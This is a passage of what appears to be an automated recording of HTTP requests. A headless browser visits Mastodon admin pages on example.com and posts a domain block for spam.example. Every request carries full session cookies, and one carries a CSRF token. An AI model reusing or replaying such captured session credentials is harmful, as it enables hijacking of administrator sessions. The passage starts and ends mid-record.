_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTcuMTI3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e14306d2e3edc5e975e433650876ac1abe3a21b; _mastodon_session=cIskdpErqjQxTYnHGuTERxVtPRw1KfyZw1vZuXP9OwJqp8P%2FzOxtx34A9u0ewTnzsBU0yDI%2FlNJoCX9rOpgGLsua49XZBrZYsQnHEsPA2C%2FKAsh0Bwsinbz6ubX%2F%2B2LQNw4Oy4m%2F54GtYIJueALcGGhHjAtULWM9uJ1HRKj7%2BSUr1S%2B%2FuQGzwGhfSF1UMPfsbi%2FM1kxtiCvPZcBHvxKsBoKsZ5Ozb9xOSatcugHBy4Y3b2HR3cW0sHhH8DOjyO1pt5bSwDjgfVYis1QEwuiZYaPNO7VoyDkjfMnfyH0D0RsggXamY1ItaFBxrzJ9DOWmihcYE7ZPmXywXaWcwiEvTzWP4UDZht8JIiO%2Bt5PrAkIIhmkbz2KDqx%2BS%2Fpnb9K00YH1Ec%2FEYvRBx--fGe7ehdTVIBj8H0Q--yVnguTal69ryW8c4BNFIeQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDAuMDczWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--942434b61d50b3c527aad2664ca14b94d2221ead; _mastodon_session=bYnycQMY5qiM39c74S1GA05HxzfVtKiyrnHjCnsUGdh2zG2FhWHR0ZxqlR6PUZBttX5YAUqzBDiO72SNvRqUd6Nv55KIqDir7S284R%2BWOAGpEjhtqZ7M2eY3%2BUHZ9JkjA%2BFGq3P8xVid1oDDL0aBdhYbXTVs9FnWB6Kpj07Gh8PiaiEP%2B85DJp6VAMjgUZTQHOVvNUuQoOronACMIHSmLl4aBpV%2Fz8mDt5tNwHC11Djpeh1p%2FijXt%2FZJWu4LC3UA2Ob7K3Q7RZgzr5v6axigz%2FONjZ3Nh5u9KNIov7PWvv9HCvGOrRkvGkXFbZ2sPFp8AHU8gjCdz%2FrmSJdeP8brljI2B%2B7o4PPeDSLktoZ8gQviRkWM%2BYTstWjz5QAHS0Fm7KEbd2mAN84x--zeJcEdwvN7%2BuWYpc--UzKBsZ820OZrsahO5z4DZA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDMuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9fa1e040339894c6785bcadeaabcf556417a006; _mastodon_session=ToR1W6l%2FudKsCEUpS%2BBeS%2BWFeYRHFbkYT%2F9E4XcGcyR5s9FDbkDIWnoXeweF547hyZ4rtPM%2BhYbBYu%2FzhPl5WF48%2FDDHHHFTYF6HD38EZlR0sALgHV6KgBpirM1s4Dm1uFhLzInspzuldFfBOBe2cmRVqxbAlLxZw0jsb0KSZ%2BQkhvzIn%2F509CzJThqR3XZzigW%2BHg8HRQVengAL9PBDpb79qtmRiz4DK0CDEc6pgPT7F7jB5j2vDvIYnfuNyrCYQDK9j3WozZgz6urg0wpidYhCRzAYNvB8aWVc%2BIWlLPNqtaOAO6nCDZyb1v4R1mDKkBAaU6QX7sZfBAVQ82ULVftPGVVFXqmfl6YPe9GY6RFav6kPaoVmKspaYoK9cyymRxRSA%2F%2BKUb3x--c2LWLc806nMJkgrg--t168hdH6FtZRep%2BixjNbxw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDYuMDI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cc7a8fd61fec7b2f55af34e70367e7dd85957ad3; _mastodon_session=u2JgU9Ik%2BkfWUq8KMct%2FE%2FQwvIGLXFyjZq3dY%2B3dFN8LWw7TJS597QlwkGj%2BYYihEkS7cJ963I1LBl4HOR%2BSOD7cORUU8PVImoQ6dDee1KiboqqILoXGy2%2FtYUPo8NZXBqG2ytw%2FEFnHmk0el4msVb9mwGi7bJKgdUkaBD6PTmuW6o4bVbmZ8ZYgt7IVGJaWb%2BryncBXnABZd6e4ZJyI56iiQDLqiDy6xUr5q8Vp%2BGds%2FO4oP8rvz4DBl7%2BfO67H6UEFz6bp6Y%2BVeA1IaG8OsjAiOZ1pRx%2BAPsZWYNkUP1ELe5L%2F3N0A6Wzp0LwJ5qDcZYejgwRNKoAPgnfG2OC4KZW6SkV2k%2B77TsweMwgl3WyMur2YZMnAqriuBN818Aad7LqO8d9WbDFN--mp%2B9I3RwgY4KX3J%2F--87TZw6ig9eW9RoDocZJDGg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/software_updates", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/reports?account_id=1&by_target_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTEuOTc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8f48d6fc5c5849f392e9bc6b8d5da797ade9c9a; _mastodon_session=a7cCxC11AN4BN3rzwaCFxQ9elpBLvQ1wL8KOJXlq%2Bt0YsmVwCU%2BVgw9YOJXb1bFZ781IVd7yksZR4KwBs1hJjzqUf9C6r770Daywl8QWV9aOkG7VIx%2FEtuljehSJzBIzHwb10%2FQ7DCKmi9hCRl7V3XaLpq2TQ%2BpPxK%2B%2BU2AW8TOrTIFS7HeyiLRbagLRjNGSrHUWiTNq5SPoFsnTVL2yiuwCdg%2B6apAobvqqBWnq04omGviuF4jMYFWWjp1VLfzAqHJrmpZ2QwPSEwwNTQRqo%2B1j4yXMo3GZNMZNLMSy6H3dIAWK%2Bb1zIvljiYyYYjiIH9hWJSMjtvUf8znTGDCStgEoOwWi6%2BHhqta5KNa%2Ft5gML2VUDx2PL23wk7hvDy4XcC9hq4czhm%2Bc--%2F%2BQ5oY%2BEs7naFB0v--LSKMfS8I9QvQVOu3Z8apcw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports?account_id=1&by_target_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/export_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTQuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d275051beb5595d22689d10cceb2e1c32fb0d5b5; _mastodon_session=jBpFFWl%2BctVtGmCoceKzST%2BHujKcGv4opwiO2LzH6YSKB7MyWIoEsbyECWKc2Vy5BreItYbaGKA5fP6dNZrULLLsO5ssYY4zPVGzD7Rs4HcASnDGYKLgWd03RKn4XIeUCwgVCAoO%2FxprmLkFUGpJ2%2FTmNrm3cxVWTVO9XHbod%2BKUXQ1tS4TcTx0n50dagkWtBCIo0tptXULjacCvOKzt%2FyzjcHYBKQf332IYI%2BgMAjyTRgeulRzJF26SQIIWGeFii48Krhipn7k5dYEVQePt%2BA8W92Lznvj%2FynO%2Bc5bsW%2FXuX0iZVvZG8yxGk5c%2B8jjvG9Bgryi9y4M7KNQO3nJ0hvGCKd5FTUxA%2F6XQWJEH5jGejrB7XZ54AcdSOTVIs%2BIPxgCHe98uXCH7--6QuaxzY36VH2CNN8--v%2ByIa%2FubfphSWiPYHaN3Pg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/disputes/appeals", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MTcuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9fd1d5395984fbc93115a003dc2f5feb3bfdb6e8; _mastodon_session=KnoGYlZNUqNlDcPH29Nu4ZzssotIZUoyb39E8pIB6cKpPYgNko%2FqU7zOXyMNEzN8BjccwaSkegDMGiJaHLU9dv7RVRxCoXSbC%2FCoT2dh3rBe7okRwBV16YzvnoLeI5pVewIHF7nrIYiS8DL8yfksmRnNG6suqE0P6oLJ6DMAn6twrzXxfTI4h7X7DX%2BKX8MchiuvRz9zlRVGSkWa%2F61iZcy9z9xYJwUP4WOc%2B0opxM8NRp5vfpRo%2BUfHFUz0t7Rdyum54%2BCMn01FqOucM29pXAEDdcmlYWiyYE0r40IMuh9Y0VaRGNERjLRMnQQWsAMEaAw%2BMQEaAaD%2FBlYET5LoPjYsA09tl1ddyzgdndOIFPrxsAy6y4owbqiPNDAV1Pgvn3bJKwDR6Ctb--agW9qaXyj4v2qBpc--p4NTjZg51mj%2Fod%2BCzuS9hw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjAuNzg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ed721bbbb2d9124fb2e0fc314dcc9be200d97feb; _mastodon_session=SYfZrl1eoDRqYsBX45RjN1sEc2KfJIc1AhA9b9avpS7E%2B3K%2BMdbYI6mXyjZAK3GYrhUVKUprAa0P0HNhMwTBAyQjMgXkpN8OtlwptTcr%2Fq%2BJF3r0N%2BFt10lE1P1F7%2F0x61F4ZKl%2FOY%2BSlFQTZmehAyDgAEjvZe%2BhR5XTozPlmPiNWFjjKk8N3nYEPJKhjH1S3d2AnZkMpJiySNqjUxqjHHaoKKCDoN8MdClBXVhzbqA9U0Si01JojkZ4dHgYnll8Q%2B70UYb39vtBE%2FjB6j1lMvv9wiEdldwAcJnnQdG7PeLcX%2BmiMPTgSUG8GtxFdrl5SsqeAcOiGmYYoCkVCCwAAFPGpLLN020G%2BSDGf9ZLHqqM%2FP%2FlAIGAUxnirpHOtELBACxJMaTWWQzm--9WhJFpREG%2FQVpqmW--tS5yQYdHw43sIfVGop0mvQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjMuNjUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fd8b38c917501c2f290e8defb6ae94bca81cb8b5; _mastodon_session=9ecnXqXjQVlrdj%2F17pFj491EKuwe%2FNSjmcH0bjkejo3WHRPIMcUQDmGtj3QQuUxAZqD0ogSFiVx1rTNiA43IEJtBWO4BNBTEvlZkc71bbqdZwsbiQpaiNAliZMm0wzmjc1eJ9tp51OwcmtUlLegw30vc0jmasFzl4hLxLYb2tmVHuJFalA4aavaaFgdhEocyakQqNqcDgGC1YPRjgytp%2FxPgXIU3A9iWol0uKwzZTIIuxxIuJtnrB%2FkDeSJzms%2BYy3sGVpJF1%2FwXn0GKn3mCcl1yeX9LlKIcemz1bFoi34Kbb6gcy7CgHTGRWr3FoE%2BhnwxlFPpY2ds%2Fwcu5z3LQuOabikDBl7DAkel6wFu0PqAbeA6idP3boa3qbu8fst%2B6Bp3kKantb5C2--NCY5nKqIuqqWT54J--iBHWxM8QkgE4NDZ2KCa7jg%3D%3D"], "body": "authenticity_token=cYCUlPaS9BWRo4FpRghW7EC_AgXSfF2uaFaXk72Rr274f9x5R1_IFKRO6aru9k25bv4h6rw3a8fEc_xWxm2s_A&domain_block%5Bdomain%5D=spam.example&domain_block%5Bseverity%5D=silence&domain_block%5Breject_media%5D=0&domain_block%5Breject_reports%5D=0&domain_block%5Bobfuscate%5D=0&domain_block%5Bprivate_comment%5D=Spam+about+python3+and+ls+-la&domain_block%5Bpublic_comment%5D=Spam+about+powershell+and+.htaccess&button="}
|
||||||
|
{"method": "GET", "target": "/admin/instances?limited=1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aab3f883940745643f9781a544c98174a3cc09b3; _mastodon_session=NOScc1SbwlMxCaWBQq4CP8k4N0KvCGYeZbpb33TSxPqwGV4Dk2Fn5nGruOxWN5l4q9yWwrbWNvwBBiwITZ66DRLQpbcA2zMCjF0MLzDlhzwsk7kZNA3eviDkcJtTsaj0vGbV979Dz71iXReSra%2BVAx99wWdI46H2D8QpIxBX9cbqVAcAuT8TBsgrOpoW7YpIK4G85rVuvi8xCN22tfB2l7IUjAXPN8z71c%2F4LmJQ1ql6ShOb%2FG0T%2FnLhlGWbsxDxx6ipbakFPZAfLCu62DgcQCUIsfLZUSM%2FJDMCPf0bf7x%2B85ID%2F0AcCYok8BhjVWE0kdamNmuaRiVQ83UVHgVqFTNF4UBMsbBr%2Bju5lYnRDm0tDWjz1a32PI2CT5NPPkW6O%2FT%2BNqghmKNq%2Fb7bnw9exybLzzmOVssgYiaVJI8i1njggL4tu17RoGthPbjKGrXtJ1zAPF%2FE9VCsBHrIbHSOFbOiTU%2BlC6gLm9MDlK5LnZTXGv8L75TNYBeQR%2Fk8a8BXoJSSHbJh5Tny710LTen5%2FmDAu%2BUe--UfFCrUkltKisjKVB--ji9Uj3VKyQOPyrjYpmqHBg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/email_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 